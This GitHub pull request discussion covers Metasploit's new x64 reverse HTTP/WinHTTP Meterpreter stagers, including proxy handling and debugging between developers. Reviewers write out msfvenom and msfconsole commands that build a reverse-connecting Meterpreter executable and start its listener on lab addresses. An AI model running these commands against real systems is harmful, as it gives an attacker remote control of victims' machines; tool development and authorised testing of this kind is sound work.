Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Implement x64 versions of reverse_http, reverse_winhttp and reverse_winhttps #5328

Merged
merged 32 commits into from May 22, 2015

Conversation

OJ
Copy link
Contributor

@OJ OJ commented May 11, 2015

This PR includes three new stagers along with a bunch of refactorings/changes to support them. The work is based on the work done in #5300 and so that PR (along with the binaries it relies on) need to be landed first (all landed now).

The stagers implemented are:

  • windows/x64/meterpreter/reverse_http - HTTP transport using wininet (for some reason this wasn't in MSF initially, and has been added for feature parity).
  • windows/x64/meterpreter/reverse_winhttp - HTTP transport using winhttp.
  • windows/x64/meterpreter/reverse_winhttps - HTTPS transport using winhttp. This also includes support for SSL Certificate verification.

All of the payloads support proxy settings, however the ones using winhttp won't work with the "default" proxy just yet. There is an outstanding issue for both x64 and x86 winhttp payloads to have this resolves in some way. That, along with the Meterpreter work to solve this problem, will come in another PR.

This changset also adds Rex::Text.block_api_hash which lets us calculate the function hash for block API on the fly. I haven't added specs yet (sorry @jlee-r7), but I will be adding them soon!

Notes

I had to do some serious dancing with "alignment" related issues on x64. I have no idea why this is the case, nor is it documented in older versions of the stagers. I'd love for someone to clarify why arbitrary push 0 seems to fix various problems to do with alignment. I'm stupid, please unstupify me!

Sample runs

Not included, because they're rather boring. Happy to add if people want to see a meterpreter session running.

Verification

Some refactoring work was done that resulting in all the http payloads being hit. So..

  • with no proxy settings:
    • x64 reverse_http works.
    • x86 reverse_http works.
    • x64 reverse_https works.
    • x86 reverse_https works.
    • x64 reverse_winhttp works.
    • x86 reverse_winhttp works.
    • x64 reverse_winhttps works.
    • x86 reverse_winhttps works.
  • with proxy settings manually set:
    • x64 reverse_http works.
    • x86 reverse_http works.
    • x64 reverse_https works.
    • x86 reverse_https works.
    • x64 reverse_winhttp works.
    • x86 reverse_winhttp works.
    • x64 reverse_winhttps works.
    • x86 reverse_winhttps works.
  • Each of the reverse_winhttps payloads works with SSL certificate verification.

Again, note that reverse_winhttps will not work with proxy settings that are set in the "Internet Options" for IE. That's coming later.

OJ added 15 commits May 11, 2015 17:24
This laid the groundwork for implementation of reverse_http as well.
Still need to bake in support for proxies in the stagers, but wer'e
getting there.
Proxy user/pass coming shortly.
Refactoring, ready to get the proxy stuff going.
Now working fine with proxy settings.
Woot, this somehow reduces the payload sizes by 2 bytes... woot.. or
something.
Still has some quirks to fix up, but we're getting there. Everything
seems to work except for reverse_winhttps. I can't see why at this
point.
:proxy_pass => datastore['PayloadProxyPass'])

blob = encode_stage(blob)
blob = stage_payload({
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

No need for { here and omitting it makes it easier to change the method to keyword arguments later.

@bcook-r7
Copy link
Contributor

Running this merged with #5300 shows a couple of errors:

[-]     /Users/bcook/projects/metasploit-framework/modules/payloads/stagers/windows/x64/reverse_winhttps.rb: NameError uninitialized constant Msf::Payload::Windows::ReverseHttp_x64
[-]     /Users/bcook/projects/metasploit-framework/modules/payloads/stagers/windows/x64/reverse_winhttp.rb: NameError uninitialized constant Msf::Payload::Windows::ReverseHttp_x64

@OJ
Copy link
Contributor Author

OJ commented May 11, 2015

Hmm... you shouldn't need to merge this because the work was based off it.

@OJ
Copy link
Contributor Author

OJ commented May 11, 2015

Not getting issues here @bcook-r7, are those errors appearing in the console when you start it?

OJ added 2 commits May 20, 2015 12:15
This commit fixes up the winhttps stuff properly too. PHEW!
@OJ
Copy link
Contributor Author

OJ commented May 20, 2015

Just fixing the build, and payload sizes and we should be good to go. Finally.

@OJ OJ removed the blocked Blocked by one or more additional tasks label May 20, 2015
This psexec payload size should be evaluated to make sure I'm not doing
anything stupid. i can't see a reason why increasing these sizes would
be bad. They seem to work fine.
@bcook-r7
Copy link
Contributor

I am still seeing the payload use the wrong proxy settings compared to the stager. Here are the commands I used, and the connections made first by the stager and then by meterpreter:

./msfvenom -p windows/x64/meterpreter/reverse_http PayloadProxyHost=192.168.56.1 PayloadProxyPort=4445 lhost=192.168.56.1 lport=4444 -f exe -o test.exe

./msfconsole -qx 'use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_http; set lhost 192.168.56.1; set lport 4444; run'

1   0.000000000 192.168.56.101  192.168.56.1    TCP 66  49273→4445 [SYN] Seq=0 Win=65535 Len=0 MSS=1460 WS=256 SACK_PERM=1
38  0.697379000 192.168.56.101  192.168.56.1    TCP 66  49274→4444 [SYN] Seq=0 Win=8192 Len=0 MSS=1460 WS=256 SACK_PERM=1

@OJ
Copy link
Contributor Author

OJ commented May 20, 2015

Strange. In my set up, my LHOST is on a network that the target doesn't have access to directly. Victim is on network B, LHOST set to network A, PayloadProxyHost set to proxy on network B that can route to network A. In this scenario, LHOST isn't even routable, but everything still works.

@bcook-r7
Copy link
Contributor

Is my problem specific to the PayloadProxyPort then?

@OJ
Copy link
Contributor Author

OJ commented May 20, 2015

I would be surprised if the existing stagers don't behave the same.

I think the problem is that we don't set ProxyBypass. This means that it will behave in the default manner and won't use the proxy for local addresses. Given that you're on the same subnet, is that something that the IE stuff considers "local" ? The docs say:

lpszProxyBypass [in]
Pointer to a null-terminated string that specifies an optional list of host names or IP addresses, or both, that should not be routed through the proxy when dwAccessType is set to INTERNET_OPEN_TYPE_PROXY. The list can contain wildcards. Do not use an empty string, because InternetOpen will use it as the proxy bypass list. If this parameter specifies the "" macro, the function bypasses the proxy for any host name that does not contain a period. By default, WinINet will bypass the proxy for requests that use the host names "localhost", "loopback", "127.0.0.1", or "[::1]". This behavior exists because a remote proxy server typically will not resolve these addresses properly. Internet Explorer 9: You can remove the local computer from the proxy bypass list using the "" macro. If dwAccessType is not set to INTERNET_OPEN_TYPE_PROXY, this parameter is ignored and should be NULL.

So the docs imply that this isn't the case, but I'm just wondering :)

@OJ
Copy link
Contributor Author

OJ commented May 20, 2015

Just to be clear, are we saying that Meterpreter is doing it wrong and the stager is doing it right?

@bcook-r7
Copy link
Contributor

Yes - I see the correct port from the stager, followed by incorrect from meterpreter.

@OJ
Copy link
Contributor Author

OJ commented May 20, 2015

Here's debug output from my testing:

[4000] [c6c] [TRNS] Transport claims to have URL: https://192.168.0.1:8443/W0T6iQRpFhQxdjB0ZCoqhgnlBUT6udS070bkXogcxjdnfMvy7QLR-6rB_hLiLQLZYWeF6QgjzmP2AuWrNcf70WAyBQ7YsTDsqgi9YY5IAIyYBrOfwEiGSk/ 
[4000] [c6c] [TRNS] Transport claims to have comms: 300 
[4000] [c6c] [TRNS] Transport claims to have retry total: 3600 
[4000] [c6c] [TRNS] Transport claims to have retry wait: 10 
[4000] [c6c] [TRANS HTTP] Creating http transport for url https://192.168.0.1:8443/W0T6iQRpFhQxdjB0ZCoqhgnlBUT6udS070bkXogcxjdnfMvy7QLR-6rB_hLiLQLZYWeF6QgjzmP2AuWrNcf70WAyBQ7YsTDsqgi9YY5IAIyYBrOfwEiGSk/ 
[4000] [c6c] [TRANS HTTP] Given ua:  
[4000] [c6c] [TRANS HTTP] Given proxy host: http://10.1.10.40:3128 
[4000] [c6c] [TRANS HTTP] Given proxy user: msf 
[4000] [c6c] [TRANS HTTP] Given proxy pass: msfproxy 

This machine can't route to 192.168.0.1 directly for anything, but it can definitely see 10.1.10.40 where the proxy sits. The proxy has no issues seeing 192.168.0.1. So without the proxy in play, nothing works in either the stager or Meterpreter.

Are you using an exploit, like psexec here, or are you using a pre-baked exe with multi/handler?

@bcook-r7
Copy link
Contributor

Prebaked EXE - the exact commands I ran are above. I then used wireshark to see what connections it made.

@OJ
Copy link
Contributor Author

OJ commented May 20, 2015

You didn't set the proxy details in the listener. The second stage doesn't know what proxy to use.

@bcook-r7
Copy link
Contributor

D'oh, for some reason I thought that was getting handed off now.

@OJ
Copy link
Contributor Author

OJ commented May 20, 2015

No, I'm afraid not. I did think about doing that, but again that bloats the stager as it'd have to construct the Meterpreter configuration on the fly. That's still left up to MSF I'm afraid.

@bcook-r7
Copy link
Contributor

Heh, I guess once payload UUIDs are being persistently tracked, the payload proxy info could be resurrected from there automatically as well. Thanks.

@OJ
Copy link
Contributor Author

OJ commented May 20, 2015

Yeah I guess they could! That'd be handy.

@bcook-r7
Copy link
Contributor

I'm calling this good to go, @jlee-r7 things ok for you as well?

@bcook-r7
Copy link
Contributor

You're going to hate me, but I get an illegal instruction from:

./msfvenom -p windows/x64/meterpreter/reverse_winhttp PayloadProxyHost=192.168.56.1 PayloadProxyPort=4445 lhost=192.168.56.1 lport=4444 -f exe -o test.exe

x64/reverse_winhttps worked fine

@OJ
Copy link
Contributor Author

OJ commented May 20, 2015

Thanks @bcook-r7. I'm not seeing illegal instructions in the stagers, but I am seeing that metsrv is no longer playing ball for some reason, despite it not changing.

Both winhttp and winhttps stagers (x64) worked nicely for me on Win7, Win8.1 and Win2012. But I'm seeing metsrv behave strangely.

@OJ
Copy link
Contributor Author

OJ commented May 21, 2015

OK, ignore previous comment. All kinds of configuration things were going wrong for me and I'm now back to parity. Doing more testing.

@OJ
Copy link
Contributor Author

OJ commented May 22, 2015

@bcook-r7 I've just done a full run with http, https, winhttp and winhttps with all the combinations of proxy/user/pass/sslcert and I haven't seen any crashes.

Tested using psexec_psh on Windows 2012. Are you still seeing your issue?

@bcook-r7
Copy link
Contributor

Nope, things look fine. I'm going to land this.

I think I had a bad config earlier that was causing the issue, or something bogus cached on the proxy.

@bcook-r7 bcook-r7 merged commit 44f8cf4 into rapid7:master May 22, 2015
bcook-r7 pushed a commit that referenced this pull request May 22, 2015
@bcook-r7
Copy link
Contributor

Whew, done. Thanks for the help.

@OJ
Copy link
Contributor Author

OJ commented May 22, 2015

Epic mate, thanks so much for all the support, testing, help.. etc.. .AGAIN! Really appreciate it.

@OJ OJ deleted the update-x64-stagers branch May 22, 2015 04:36
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

4 participants